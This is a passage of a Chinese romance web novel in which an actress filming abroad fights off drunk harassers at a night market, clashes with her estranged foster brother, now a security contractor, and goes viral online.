孟甘国是旅游国家,首都更有不夜城的美名。夜市上人声鼎沸,手工艺品摊位琳琅满目,各色小吃摊烟雾缭绕,锅气鲜香。
吴柯很会照顾人,给黎宴和周意各买了杯鲜榨果汁。一群年轻人跟没吃过好东西的饕餮似的,手里满当当,嘴里鼓囊囊。就这,吴柯还得来一句:“唉,想念我大横店的豪华炒饭了!”
黎宴忍俊不禁,几人说说笑笑,不一会儿就来到了街头艺人的表演地点。
眼前已经围了里三层外三层的人,男生们个子高倒还能看见,但女孩子们就有点费力了。黎宴一米七一的身高,踮着脚都只能看见群众的后脑勺。吴柯见状,硬是从前面挤出一条道来,手自然而然地伸过来要拉黎宴——
黎宴猛地大退三步:“等等!”
吴柯不明所以,黎宴扶着额头:“难道你想在明天的微博词条和营销号上,看见咱俩的绯闻吗?”
“啧啧啧,吴柯黎宴深夜牵手同游异国夜市,这标题怎么样?”
周意在旁边俏皮地补充,吴柯这才醒过神,一拍脑门:“哎呀!要不说还是宴姐你有艺德呢。唉呀,失策失策!”
“咦~”两人你指我,我指你,随后一起哈哈大笑。
好在有吴柯在前面开路,黎宴终究还是成功和周意一起打入群众内部。火舞表演很精彩,老艺人手持燃烧的链条在人群中穿梭,引起阵阵惊呼。黎宴看了几分钟,觉得空气实在太闷,只好说自己先去旁边透口气。
吴柯后脚跟着她一起出来,两人随意逛到旁边的街道。吴柯嘴馋了,指着小吃摊上烤得滋滋冒油的烤肠:“好香啊!宴宴你吃吗?”
女艺人是有严格的身材管理要求的,黎宴平常几乎不碰这些东西,于是恐吓吴柯:“你吃吧,烤肠都是老鼠肉做的。”
吴柯愣了一瞬,随即无语地翻了个白眼:“不是吧?你哪个年代的人啊,我爷爷那辈才这么说!”
黎宴抿着嘴笑,在她小时候,爷爷是个爱装古板的老头,每天清晨都会雷打不动送她和柏闻上学,傍晚时分又准时在校门口等。那时候路边摊卖的烤肠,爷爷嫌不卫生,但只要她眼巴巴望着,爷爷就会掏钱,给她和柏闻一人买一跟,再小声念叨:“家里的肉不比这香?都是老鼠肉做的,吃了药小孩的!”
只不过,记忆里不可避免地出现了柏闻的影子,黎宴脸上的笑意慢慢散了。
吴柯眼里只有他刚买的三根烤肠,完全没注意到黎宴脸色的变化,还问:“不过,好像都没听你讲过家里的事情啊。你出国拍戏这么久,你爸
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妈晚上不给你打电话吗?”
吴柯半天没等到回应,转头一看,黎宴抱着手臂站在路灯下,脸上没什么表情。
这傻登儿还以为黎宴在发呆,张开五指在她眼前晃了晃:“宴宴?”
黎宴真服了他了,随口回了句:“我家里就爷爷奶奶,都去世了。”
吴柯嘴里的烤肠一下子就不香了。
他意识到自己真该死啊,想补救,刚一张嘴,话还没出口,没咽下去的烤肠先掉地上了。
得了,也不用安慰了。黎宴立刻拿出手机开始录像,冷酷地威胁道:“我要把这个视频卖给你大粉。”
“唔唔唔——”吴柯一边嚼一边试图阻止,黎宴藏着手机不让她得逞。两个人一个追一个躲,吴柯光顾着抢手机,一不留神撞上了人。
一股浓烈的酒气扑面而来,七八个当地青年步伐摇晃,看样子是喝多了。吴柯刚说了句“sorry”,不曾想被他撞到的男人一把推开他,骂了句本地脏话。黎宴扶了吴柯一把,那群人看见她,流里流气地掏了掏耳朵,嬉皮笑脸地用本地话调笑着什么,其中一人甚至胆大地伸手来摸黎宴的脸。
吴柯立刻将黎宴往身后一拉,用英语喊:“放尊重点!”
那几个青年哄笑起来,这条小街道上的游客本就不多,此刻更是退避三舍。小吃摊老板也只抬眼看了看,没敢插手。他们不仅没后退,反而挺着胸脯顶了上来,其中一个伸手去推吴柯,操着本地话骂:“滚开,外国佬!”
吴柯也不是吃素的,好歹健身房里练出一身肌肉,拳头也不是面团捏的。眼看冲突一触即发,黎宴直接报警,没想到有个小青年眼尖,冲上来一巴掌打飞了她的手机。紧接着一群人围上来,黎宴把吴柯往后一推,大喊:“报警!”
“宴宴!”
吴柯被推得大退几步,黎宴没躲,一把抓住想调戏她的那只手腕,反向用力一拧,一拳砸在他鼻梁上!那青年叫了一声,另外几个人冲上来帮手。黎宴偏头避开一拳,顺势扣住那人的手臂,重重肘击对方肋下,疼得人胡乱嚎叫!
吴柯不会本地话,一时紧张,英语也说得磕磕绊绊。但他没耽误,好不容易报完警,却又看见黎宴摆开拳击架势和人打了起来,惊得目瞪口呆。
他本想上去帮忙,不料黎宴抓住他就往夜市主街道上狂奔。身后那七八个青年穷追不舍,有的甚至从摊位上抢了板凳木棍,抄在手里疯狗似地追来。
眼看距离主街道还有一段距离,这群人咬得实在太紧!黎宴的目光飞快搜寻着周围,想看看有没有什么趁手的家伙。不料这时,一辆黑色越野车突然从街道侧面冲出来,一个急刹横拦在那些地痞面前!
刺耳的刹车声让所有人都停住了脚步。
孟甘国的车是右舵,黎宴站在车的左侧,隔着深色的车窗膜,什么也看不见,但她认识这辆车。
另一边,车窗降下,驾驶座上的柏闻投来一瞥。那群小青年也不装醉了,意识也清醒了,有人慌乱地喊了一声。
“......闻、闻哥。”
窄巷被车截成两半,黎宴在这一侧,柏闻在另一侧。她看不见他,只能靠听。
对方手里的家伙什不是摆设,不难看出他们想干什么。柏闻的视线冷淡地扫过那群人,目光里的重量如有实质,压得好几个人低下头去。
他一只手搭在窗沿,指尖夹着半截燃烧的烟。另一只手从副驾驶座上拿起钱包,捻出几张纸币,看也没看,手腕一扬——
“请兄弟们喝酒。”他用当地语道,声音冷硬,“别再闹事。”
空气凝固了几秒,那群青年互相看了看,又偷偷瞥向柏闻那没什么表情的脸。最终,为首的人弯腰飞快地捡起钱,嘴里一连串地谢,带着其他人转身跑路。
黎宴静静看着眼前的一切,脸上不辨喜怒。
吴柯在她身后小声说:“宴宴,咱们是不是应该......”
黎宴没理他。
她看着那辆黑色越野,像只野兽,沉默地蛰伏在夜里。巷外远远传来盘旋的警笛,急促尖锐的节奏令她心里涌起一股火。甚至她在心里倒数,几秒之后,这个人又要逃了。
然而这次,柏闻的车没动。
5. 第 5 章
呼啸的警笛由远而近。
两辆当地警车停在巷口,四名警察下车,一手按着腰间的装备,快步朝现场走来。带头的警官先扫过现场的打斗痕迹,最后落在黎宴、吴柯,以及那辆横挡在巷中的黑色越野车上。
吴柯上前解释情况,结结巴巴的英语夹杂着手势,看上去有些喜感,黎宴本想替他说下去。
砰。
车门发出一声闷响,柏闻下了车,几步走到警官面前。
“??????????????”
柏闻言简意赅,警官却立刻露出恍然的神色,两人用本地语快速交谈。黎宴站在几步之外,面无表情地听着那些陌生的音节,偶尔看见柏闻朝她和吴柯的方向瞥一眼,又对警官补充几句。
吴柯不放心,拿着翻译软件同声传译,由于距离不够近,只模糊能分辨出“常在这一带”、“喝多了”、“走了”这几个词。
最后,警官点点头,转身走向黎宴和吴柯。这次,他用了口音很重但能听懂的英语问:“你们没事吗?”
“没事,只是小冲突,对方已经离开了。”
黎宴的声音清晰平稳,完全没被刚才的场面吓到。她并不是为那些人开脱,只是事情一旦闹大,他们作为当事人必然要去警局做笔录。晚上还有资方的饭局,耽误不起。
警方有些意外她的干脆,又问了一遍:“你们确定?”
“确定。”
黎宴简短道,警官见状也不再多问,只告诫他们夜晚不要在不熟悉的地方逗留,尤其不要单独行动,便示意收队。
警车来得不快,去得倒快。巷子里重新恢复了平静,唯独空气中还弥漫着尚未散去的紧张感。
吴柯松了口气:“宴宴,你刚才......”
黎宴没等他说完,目光跟随柏闻的背影移向了那辆越野车。柏闻拉开车门,没上车,侧脸的轮廓在车内仪表盘的微光下显得格外冷硬。
他就这么站在那里,没看她,也没说话。
黎宴心里的那股火烧得更旺。
凭什么他总是这样?
四年前决裂的是他,现在突然出现,用这种方式解决问题的也是他,摆出一副公事公办的态度,连看她一眼都吝啬的人也是他。
“走吧柯柯。”黎宴忽然开口,声音有点哑,转身就往主街道方向走。
“宴宴,你等我一下!”吴柯连忙跟上。
就在这时,身后传来车门关闭的声音,然后是脚步声,不疾不徐,却很快拉近了距离。
“我送你们。”
柏闻的声音在身后响起,听不出情绪。
黎宴脚步顿住,却没回头。她能感觉到吴柯正疑惑地看着自己,也能感觉到柏闻就在她身后几步之外,存在感强得令人无法呼吸。
巷口吹来夜风,夹杂着食物油腻的香气,混合着街角垃圾箱里的酸腐。
黎宴的世界仿佛彻底安静,视线尽头,一个卖气球的小贩推着车走远。五颜六色的气球舞动在霓虹灯下,直到没入夜色深处,只剩下漂浮的剪影,像一场褪色的梦。
她站在那里,脊背挺得笔直,指甲深深嵌进掌心,大脑里有两个声音在拉扯。
时间一分一秒地过去,久到吴柯忍不住小声问了句:“宴宴?”
这一刻,黎宴猛地吸了口气,转过身。
她没看柏闻,径直走向越野车,拉开了后座车门,甩手将门闭合。
吴柯愣了愣,看着已经上车的黎宴,又看向一旁伫立的柏闻,尴尬半天挤出句“谢谢啊”,赶紧拉开另一侧后门,也钻了进去。
车内空间不算狭小,但空气依然凝固。
冷空气开得很足,黎宴靠在窗边,看着外面飞速倒退的模糊街景,侧脸线条绷得紧紧的。
吴柯不知道怎么形容自己的感受,就感觉浑身不自在。他清了清嗓子,试图打破这令人窒息的沉默。。
“那个......我记得你,柏队是吧?嘶,今天真是太谢谢你了!没想到这么巧,你正好就赶上了!”
柏闻很淡地“嗯”了一声。
吴柯继续找话题:“柏队这么晚还在这边,也是来逛夜市的?”
“......”
这次连个单音节也没给他。
吴柯实在有点接不下去了,他的热情似火罕见地碰了壁,尴尬地摸了摸鼻子,转向黎宴。
“宴宴,你刚才真是太帅了!我都不知道你居然还会拳击?嚯,那几下真挺专业的,我之后有部动作戏,你快告诉我哪个培训班教的?回国我也报一个去。”
黎宴原本看着窗外的视线,慢慢收了回来。她没看吴柯,目光落向前方,停在柏闻紧绷的肩线上,嘴角勾起一个没什么温度的弧度。
“以前......”
她刻意顿了顿,声音轻飘飘的:“有个老师教的。”
终于有人接吴柯的话了,他如释重负,赶紧续上:“哪个老师?横店的吗?小班制还是一对一?教得怎么样?”
“你说他啊。”黎宴笑了笑,目光仍锁着前座那个背影,似是回味。
“教得还行吧,就是人品不怎么样。教到一半,也不管学生死活,人就跑了。”
车内的空气骤然又降了几度。
吴柯直觉自己处于某种危险的漩涡中,看了眼黎宴,又偷偷瞥向前方驾驶座。柏闻握着方向盘的手似乎紧了紧,什么都没说,车开得很沉默。
黎宴没打算停,她胆子更大了,身体前倾,手肘搭在前座椅背上,语气变得天真又好奇。
“柏队,你们做安保的,是不是也会经常教客户一些防身术啊?万一教到一半,遇到更赚钱的活儿,会不会也把客户扔下就跑?”
“黎小姐。”柏闻终于开口,“坐好,安全带系上。”
“我系着呢,柏队。”
黎宴靠回座位,却继续看着后视镜。柏闻偶尔抬起的视线与她对上,她不依不饶:“你还没回答我呢。”
柏闻喉结滚了一瞬,盯着前方的路,平静地吐出一句:“我们公司有严格的合同和职业道德规范。”
“合同?”黎宴挑了下眉,表示肯定与理解。
“那确实,有合同就好。白纸黑字写着,谁要是违约跑了,还能追究责任,对吧?”
这话里的刺太明显了,吴柯听得头皮发麻,再迟钝也明白了,这两人之间绝对有过节,而且是不小的过节。他恨不得能钻进车底,极力地减少自己的存在感。
可这也太尴尬了,自己已经旁听了一路,现在装哑巴才更有存在感吧!
“宴宴......”吴柯试图缓和气氛,小声地提醒。
“咱们是不是得再快点?那个,程总那边的饭局......”
“对哦,饭局。”黎宴像是才想起来,看了眼手机屏幕,向前探身。
“八点半,资方的饭局。柏队能开快一点吗?金主的时间我耽误不起。”
柏闻终于主动抬头,从后视镜里看了她一眼。在发觉黎宴唇边那丝几近报复的笑意时,加重了油门。
越野车在城市道路上疾驰而过,柏闻握紧方向盘不语,他知道那位程总是谁,白天里总出现在黎宴身边的那位。
黎宴坐在后排,见柏闻没什么反应,托着下巴思考:“不过那位小程总还真是不错,年轻有为,对创作也很有想法,也挺关照我们演员的。”
这下连吴柯都彻底不敢说话了,躲在车门边瑟瑟发抖。车内陷入绝对的沉寂,除了黎宴,没人笑得出来。
接下来的路程,黎宴没再故意找话。她已经把狠话说尽,心里暂且舒服了。
车最终停在餐厅门口,暖黄色的灯光从精美的雕花大门内透出,来往的客人穿着得体,对比刚才混乱的夜市,仿佛两个世界。
黎宴率先推门下车,吴柯如蒙大赦,赶紧跟着下来,对驾驶座的柏闻连连道谢:“谢谢柏队,真的太感谢了!”
柏闻降下车窗,目光落在黎宴身上。她逆着餐厅透出的光晕,浅蓝色的吊带衬得她肤色莹白,个子比从前高了许多。站在他面前时,微微抬着下巴,纤瘦冷清,像一只随时会飞走的鸟。
他似乎想说什么,嘴唇动了动。
黎宴在看手机信息,直到屏幕上那点光彻底暗下去,柏闻还是没能开口。
她砰地一声甩上车门,对吴柯说:“走吧,别让小程总等急了。”
说完,她没再往那辆车投去任何一瞥,径直走进了餐厅旋转的门。
只有吴柯偷偷回头看了一眼。
那辆越野车还停在原地,只是车窗已经升起,隔绝了里外两个世界。
程谦的饭局定在了餐厅顶层。
包间格局开阔,整层都装
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饰着热带植物,柔和的纱幔随风飘舞,长条餐桌旁已经坐了不少人。主创团队来得很齐,包括程谦,许导,制片主任,摄影指导,两位老戏骨演员,以及男一号陈烨非。
黎宴刚进去时,程谦正在和许导说话,抛开许导稍显勉强的笑容不谈,整体气氛还算融洽。
“黎宴来了。”程谦第一个看到她,抬手示意她和吴柯入座。
“抱歉程总,路上有点事,耽搁了。”黎宴得体地道歉,在指定位置坐下,吴柯则识趣地坐到靠边的位置。
“人都齐了,上菜吧。”
程谦很自然地吩咐助理,助理很快走出了包间。程谦转向黎宴,声音不高不低:“刚才许导还在说你今天的戏,情绪把握得越来越好了。尤其是雨林那场的眼神转变,很有层次。”
当时的特写是程谦要求加的,黎宴微笑道:“是许导指点得好,也谢谢程总提出的精准建议。”
许导笑着摆手,没说什么。
菜一道道上来,话题也逐渐展开。程谦显然是有备而来,他谈卖剧给平台的预期,谈观众画像,又谈同类型片的成功要素。话里话外,虽然客气,但指向也相当明确。
他希望对后续的拍摄方向和人物塑造,有更多符合市场价值的调整。
许导是个艺术家,为商之道他只学习了一半,还不够资本家的火候,几次试图从创作角度解释,都被程谦用数据和观众偏好,温和地挡了回来。饭局上的其他人都默默吃饭,偶尔附和几句无关紧要的,气氛微妙。
稍后,许导和程谦之间,又因为这部戏最重要的大结局部分,产生了不同的分歧。程谦几次把问题抛给黎宴,黎宴虽然答得滴水不漏,但也隐隐看出这位小程总实在有些恶趣味,他似乎很享受听她自谦地表达一些“拙见”。
上流社会培养出的傲慢精英,年纪轻轻就已经学会踩着他人的情绪取乐。若只从个人好恶上出发,黎宴实在很难不对这样的人心生反感。
这顿饭,所有人都吃得醉翁之意不在酒。好在暗流涌动的气氛过后,大家的话题转向了更轻松的行业趣闻。黎宴偶尔接话,言辞幽默且得体,逗得几位老戏骨都笑了。陈烨非也没有一直保持哑巴人设,难得主动开口,和她在片场之外的地方,聊了几句对手戏上的细节。
饭局结束时,已近深夜。
一行人乘电梯下楼,各自有保姆车来接。黎宴准备联系方宁,转念一想她估计睡了,于是准备打个出租回去。
程谦很自然地走在她身边:“黎宴,怎么回酒店?我让司机送你。”
“哪敢麻烦程总。”黎宴笑着婉拒,“我叫个车就行,很方便的。”
“这么晚了,你一个女孩子也不安全。我的酒店离你们不远,我送你。”
程谦语气温和但坚持,两人说着,已经走到了餐厅门口。夜晚的凉风扑面而来,带着城市特有的尘嚣气息。
黎宴刚想再次拒绝,目光却无意间扫过街对面——
那辆熟悉的黑色越野车,静静地停在阴影里。
这一次,她站在车的右侧,看见驾驶座的车窗降下一半,一点猩红的火光在黑暗中明灭。
他在等她。
这个念头升起的一瞬,黎宴心里的滋味乱了。
她又一次在心里质问凭什么,凭什么他以为他还有资格等在这里?
一股混合着愤怒,委屈,苦涩的冲动涌了上来,黎宴转身,看向身旁等待答复的程谦,脸上忽然绽开柔和的笑容。
“那就麻烦程总了。”
她的声音很清晰,并不小,足够被晚风在安静的夜色里传出去很远。
程谦有些意外,脸上的神情很快又被一种理所当然的优越感覆盖。他上前几步,绅士地为她拉开了门。
黎宴弯腰上车前,用余光最后瞥了一眼街对面。
那点猩红的火光熄灭了,越野车依旧停在原地,像一座沉默的海上礁石。车窗完全升了上去,再也看不清里面。
程谦的车门关上,司机发动车辆,平稳地滑入街道。
黎宴靠在柔软的真皮座椅上,看着窗外飞速掠过的流光。程谦在身旁说着什么,她没太听清,只是敷衍地应着。
当轿车驶过街角,即将彻底离开这片区域时,黎宴还是没能忍住,转头看了眼后方。
那辆黑色越野车,终于动了。
6. 第 6 章
黎宴睡了很久。
昨晚程谦送她到酒店停车场,回到房间后,她一头摔进床铺,身体和精神的双重疲惫如同潮水将她淹没。她连洗澡的力气都没有,只胡乱擦了把脸,就陷入了深深的睡眠。
然后梦就来了。
梦是碎片式的,光影交错,像一张张泛黄的胶片。
她梦见奶奶,老人家总是坐在窗边的老藤椅上,戴着老花镜,给她的小裙子绣上流行的纹样。厨房的锅里烧着她最爱吃的菜,等到开饭之后,她碗里的肉总是最大块的。
不止如此,奶奶还会给她看一张红红的存折,语气郑重,像是在交代一件天大的事:“你哥哥的那份,他自己有数。你的这份,奶奶给你收着。以后不管遇到什么事都别怕,奶奶这儿,有你的底。”
爷爷和奶奶不一样,爷爷喜欢说胡闹。
夏天闷热,黎宴趴在窗台上,望着小卖部的方向,说想吃雪糕。爷爷眼皮一抬:“胡闹,凉的吃多了,肚子要闹革命。”然而第二天,她就在客厅里听见厨房传来奶奶拔高音量的空耳:“啥?买红苕?哦,你说买空调啊。买呀,早该买了!”
有时候,邻里街访来串门,闲聊起来说黎宴不是亲生的,爷爷会立刻把茶杯往桌上一顿,“胡闹!”他声音不大,却压下了一屋子的嘈杂,“一个个都是大人了,说的什么话!宴宴就是我们柏家的孩子,是我孙女!”
梦里的画面始终温暖而安稳,黎宴深陷其中。然而,一旦触及到那些关于“底牌”与“依赖”的记忆,一切便执拗地绕回了柏闻身上。
按理说,像黎宴这种经历特殊的孩子,极易长成敏感,讨好,自卑的样子。但柏闻将她从这条道上拉了回来,一点机会也不给。
在她从前的梦里,在她被人追着喊“没爹没妈”的时候,柏闻总会在家温柔地安慰她。但这一次的梦不一样,她看见柏闻直接去了学校,找到那几个孩子,扔了一卷胶布在他们面前,很平静地说。
“黎宴是我妹妹,你们再说她,我会在每天放学的时候用这个封住你们的嘴,送你们回家。”
他比那些孩子们高一头,说这话时的模样,没人会认为他是在开玩笑。
梦里的场景跳跃着。
她放学回家,柏闻照例问她今天在学校有没有发生什么趣事。她说同学给她吃了一块巧克力,是英文的,特别好吃。于是生日那天早晨,她从梦中醒来,枕头边放着超大的一盒,被柏闻系上了她喜欢的卡通丝带。
她学游泳那段时间,呛了几次水,吓到了,哭着说再也不学了。柏闻哄着她,对她说:“怕就要克服,你怕它一辈子,它就赢你一辈子。你记住,游泳就是呼吸,憋气,蹬腿。我托着你,不会有事的。”
就这样,她哭哭啼啼地开始学游泳之路,柏闻放弃了一整个暑假的打篮球时间陪着她。每天重复同样的指令,给她绝对可靠的托举。直到她真正学会,一次也没松手让她呛过水。
柏闻高中那年,参加省级数学竞赛得了奖金,第一件事就是跑去书店买齐了她喜欢,却从未开口要过的全套漫画。剩下的钱,给爷爷买了新茶叶,给奶奶买了新围巾,最后的零头攒进了他给她存的小金库。
她很过意不去,柏闻却说:“奖金是因为我上了数学班,用了家里的钱才有的。家里的东西都有你的一份,漫画能让你高兴很久,很值得。”
他说:“宴宴,哥哥会给你全部。”
这句话在梦里反复回响,像一句化作实质的温柔咒语,每个字都在黎宴眼前飘着。她伸手去抓,想将全部攥在掌心,最后摊开来看,只有“哥哥”两个字。
黎宴是被一阵急促的敲门声和手机震动吵醒的。
她迷迷糊糊睁开眼,厚重的窗帘隔绝了刺眼的阳光,房间里一片昏暗。她摸到手机,屏幕上显示着十几个未接来电,以及无数条微信消息,时间已经是下午两点。
“宴姐!宴姐你醒了吗?快开门!”
方宁一直在敲门,听声音很急。黎宴咯噔一下,立刻打开手机里的日程表,再次确认自己今天没有戏份,这才把心咽进肚子里。
她揉了揉太阳穴,鞋也不穿走过去开门。
门刚打开一条缝,方宁就像被挤压的弹簧,嗖地窜了进来。
“宴姐,你看微博!看抖音!你快看!”
黎宴身躯一颤,刚放下的心又悬了起来,残存的睡意顿时烟消云散。
“出什么事了......我可以选择不看吗?”
她有种不妙的预感。
方宁简直要跺脚,大喊大叫像只亢奋的猴子:“为什么不看?宴姐,你火了知不知道?你火了!”
黎宴完全没搞清楚状况,示意方宁冷静点:“什么火了?你慢慢说。”
“天大的好事啊!你昨晚在夜市打架的视频被人拍下来传到网上了!营销号都转疯了!”
说着,方宁将手机塞给黎宴,屏幕上正播放着一条短视频,距离不算近,画质也一般,的确很路人水平。
视频里,黎宴穿着浅蓝色吊带和长裤,站在夜市旁街昏暗的灯光下,几个当地青年包围了她和吴柯,吓得画面里传来拍摄者“妈耶”的一声画外音。下一秒,黎宴便对小混混们利落地拧腕、绊摔、肘击、猛踹......动作一气呵成,干净漂亮。冷静强大的气场再配上不知道哪个天才选的bgm,最后黑色越野车横栏急刹,悍然闯入画面,整个场面堪比电影,简直燃得要命!
这条视频的点赞数已经突破了四百万,转发和评论更是惊人。
【我的妈!这是黎宴?!那个演《小期待》的温柔女二黎宴?!】
【卧槽这身手!这姐有事儿是真上啊!】
【来个人告诉我,这不是片场吧?真打啊?对方手里还有酒瓶!】
【怪不得《风暴眼》的女主定了她,完全就是“江时”本人啊!】
【女打一!内娱稀缺女打一!黎宴给我火!】
【笑死我了,吴柯在后面都看傻了吧哈哈哈哈哈哈哈哈哈!】
【不是,只有我觉得很好磕吗?危机时刻,居然是宴宴把柯柯拉到身后诶,完全就是姐姐啊!】
【楼上CP脑收收,明显是同事互助好吧。】
【我还是觉得是在拍戏,最后那辆车也太牛了,明显是剧组的特技老师。】
【不可能是拍戏哈,我们家吴柯没这么好的演技,包是真挨打的。】
评论区五花八门,黎宴再往下翻了翻,果然已经有
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不少营销号下场。
【爆!新生代小花黎宴孟甘夜市一挑N!】
【《风暴眼》首支先导片,女主演技获赞。戏外亦上演“美救英雄”,吴柯表示:我不知道啊,她唰地一下就跟对面爆了。】
【黎宴吴柯国外拍戏关系亲密,深夜同游夜市遇险,互动细节甜度超标!】
听着营销号统一的AI语调和搞笑标题,方宁咯咯地笑,黎宴实在不忍再看。
昨夜她特意避嫌,没想到担心终究成了现实,连标题都大差不差。网友们相当兴奋,开始脑补她和吴柯的绯闻。甚至有人扒出了吴柯选秀时期和她的零星交集,拼凑出一段“渴望成为星星的我们,相识于微末”的地下恋爱故事。
手机再次震动起来,是经纪人杨姐的电话。
黎宴做了几秒心理建设,接通电话,杨姐的声音立刻像连珠炮一样砸了过来。
“哎哟宴宴呐,你什么时候学的拳击!怎么从来没提过?藏得够深啊!视频我看了,打得漂亮!现在网上一边倒地夸你,这波热度来得太是时候了!”
“杨姐,我......”
“你先别说话,听我说。”杨姐语速飞快,已经开始展望未来。
“公司这边已经跟进监控舆论了,目前以正向引导为主。今天那几个视频一爆,就这么会儿功夫,已经有三个运动类综艺,两个游戏直播来打听你,想邀你去当飞行嘉宾,蹭一下这波‘能打’的热度。我这边也和许导沟通了,他挺高兴,说正好后续有几场动作戏,可以给你适当加一些高光镜头,也更贴角色一些。”
黎宴终于逮到杨姐换气的机会,插话问道:“加戏?可资方那边......”
“资方那边同意了,觉得这也是个宣传点。”杨姐虽然兴高采烈,但头脑依旧清晰,不忘补充道。
“对了,我跟吴柯的团队也紧急沟通了,态度很明确,坚决不准他们借机搞捆绑营销CP。对外统一口径,就是同事互助,友情可贵,避免绯闻发酵。你自己在剧组也避嫌一点,现在的网友爱磕CP,但真人容易反噬,你要把握好尺度。”
“我知道了。”黎宴的耳朵被一通洗礼,疲惫地捏了捏眉心。
“还有,你在国外遇到暴力事件,虽然没吃亏,但还是要给粉丝报个平安,也算间接澄清了不是炒作。微博文案我让宣传编辑好了,你直接发出去,别自己提细节,重点是报平安和宣传新剧。”
杨姐滔滔不绝了十来分钟,黎宴脑子里嗡嗡的,全然没有对爆火的实感,只有对杨姐业务能力的深深肯定。
“这才几个小时啊......杨姐你可真是吾辈楷模。”
杨姐那边背景音嘈杂,似乎同时处理着好几件事情,没空和她交流如何保持高精力的秘诀,一口一个“国外拍戏照顾好自己”,随后匆匆挂了电话。
房间里重新安静下来,方宁还沉浸在兴奋中,眼睛亮晶晶地问:“宴姐,饿不饿?想吃什么我去叫。”
“随便,清淡点就好。”
黎宴把自己扔进沙发,揉了揉依旧发胀的额角,看了眼手机里宣传发来的微博文案。复制粘贴,正准备一键发送,指尖忽然停顿了几秒。
一个念头毫无预兆地钻了出来。
7. 第 7 章
黎宴给剧组统筹打了个电话。
她不愧是个演员,在电话里语气自然。
“刘主任,昨晚多亏了安保公司的人及时赶到......我想问问,咱们剧组聘的是哪家公司?回头我让经纪人送面锦旗什么的过去,也算表达一下感谢。”
刘统筹不疑有他,很快将安保公司的信息发到了黎宴的微信上,并补充说这家公司虽然总部在孟甘,但在国内的高端私人安保,以及明星随卫安保领域里颇有口碑。资方这次合作的,正是他们在海外的总部。
电话挂断后,黎宴在电脑上查到这家安保公司的官网,上面展示的案例中不乏国内外知名企业家和公众人物的名字。其中“长期随卫”和“海外高危地区安全保障”两项服务被着重标出。
黎宴挑了挑眉,回到微博草稿箱里重新键入,十几秒后,按下发送键。
微博瞬间更新。
在公司宣传编辑好的公式化文案后,黎宴新加了一句更官方,更客气的。
“......也感谢当时在现场,及时出现并帮助我们的安保人员。很专业,很安心。”
做完这一切,黎宴深深陷进柔软的沙发,像只舒展筋骨的猫,伸了个长长的懒腰。
接下来时间流逝,因正主出面报平安,网络热度持续发酵。粉丝下场,路人围观,公司推波助澜,十几个带着黎宴名字的词条滚动在微博热搜榜上,她出道以来的所有经历都被翻出来考古,各种视频层出不穷,收获了一大波关注和热度。
黎宴每隔一会儿就要用小号打开微博看看,直到事情有了她想要的结果,这才彻底放心。
窗外,孟甘国的黄昏降临,遥远的天际线被染成瑰丽的绯红色。方宁推着酒店的餐车进门,表情疑惑。
“宴姐,楼下前台说,有安保公司的人找你。”
黎宴径直去了餐桌,眼也不抬,将今天的第一顿饭摆在面前:“然后呢?”
方宁脸色犹豫:“呃......好像是上次你特意说不用给他送水的那个。要请他上来吗?还是我去回绝了?”
黎宴没有立刻回答,手中的汤匙轻轻搅动着碗里的排骨汤,慢条斯理地尝了一口,明知故问:“他来干什么?”
“你下午不是发了微博嘛,他说是代表公司来致谢的。”方宁老实转达。
“哦。”黎宴应了一声,又舀起一勺汤,放在唇边吹了吹。
“那请上来吧,让他在客厅等着,我吃完饭再说。”
“好的宴姐。”方宁得了准信,连忙出去了。
黎宴继续她的晚餐,吃得不快,甚至有些慢。仿佛待会儿要面对的只是一件琐事,一个无关紧要的人。
时间约莫过去二十分钟,黎宴开始享用她的餐后水果,方宁在这时摸了进来,压低声音:“宴姐,柏队还在客厅等着呢。”
“他让你来催了?”黎宴毫不在意,方宁反而紧张了,“这不是怕传出去说你耍大牌嘛。”
黎宴叉起一小块蜜瓜,清甜的汁水在口腔里绽开,又品味了几块,这才放下餐具,拿起餐巾擦了擦嘴,优雅起身。
“让他再等五分钟。”
她丢下这么一句,转身进了卧室。
五分钟后,黎宴换了身衣服走出来。香槟色连衣裙的设计很简洁,柔软服帖,勾勒出她纤细的腰线。乌黑的长发散了下来,几缕碎发垂在颈边,随步子轻轻拂过锁骨。
客厅没开主灯,除了天光,就只剩沙发旁那盏落地灯。黎宴走了进去,柏闻站在落地窗前,半边身影被笼在一片朦胧中,另外半边则浸入窗外沉下来的暮色里。
她双手环臂,打量他的背影。他今天和以往的样子看上去不同,换了身宽松的黑色运动常服,短发干净利落,不像是直接从片场赶过来的。
听见脚步声,柏闻转过身来。
他脸上没有多余的表情,目光平静地落在黎宴身上。
黎宴微微抬着下巴,维持着那个姿态,高跟鞋不紧不慢地踩着地板走过去,在距离他几步远的单人沙发上坐下,香槟色的裙摆随动作铺开。
“柏队。”她开口,声音平稳地连自己都意外,甚至还挺客气。
“辛苦你跑一趟了,其实微博上提一句只是出于礼貌和感谢,没想到贵公司这么郑重。”
她大大方方迎上他的目光,暗地里却捕捉着他脸上每一丝细微的表情变化。然而柏闻只是点了点头,态度说不上冷热,一切正常。
“应该的,黎小姐在公共平台上的肯定,对公司是很好的宣传,公司让我来代为致谢。”
说着,他将一个印有公司LOGO的礼品袋放在茶几上。黎宴随着他的动作,视线在礼品袋上停留了一瞬,并无兴趣。
她拿起手机,指尖在屏幕上滑动了几下,又重新抬眼:“贵公司的礼都送到了,难不成柏队还准备了致谢词?”
很明显的玩笑话,柏闻正要否认,但话到嘴边,却见黎宴的目光寸步不让地锁着他,一副认真等待下文的样子。
内心深处,某根久违的神经被轻轻扯动,柏闻及时抿住了唇角那点破土而出的笑意,顺着她的话说。
“当然,正式的感谢确实应该表达。我代表公司,衷心感谢黎小姐您对我司服务的认可与推荐。您的肯定对我们至关重要,我司将继续以专业态度,全力保障剧组在孟甘期间的拍摄安全。”
他话音落下,客厅里安静了一瞬,黎宴似乎才回过神来,手一挥,打断了空气中那点残留的郑重。
“哎呀,我开玩笑的,柏队你怎么还当真了。”
说着,她姿态慵懒地换了个坐姿,话锋一转,语气重新变得轻快而探究。
“没想到我的无心之举还帮了贵公司,只不过昨晚在夜市,柏队出现得可真及时。我看你当时也是一个人,不像在忙的样子。难道贵公司如此尽职尽责,还给剧组的每个主演都配了保镖不成?”
柏闻脸不红心不跳:“出来吃饭,碰巧。”
黎宴点头,一副恍然大悟的样子,仿佛对这个解释欣然接受,却没放过他。
“那柏队的业务能力也太出众了,随便吃个饭都能把突发情况处理得这么漂亮,难怪投资方会选中贵公司合作。”
她说着,身体又微微前倾,手肘支在膝盖上,瞬间拉近了一些距离。
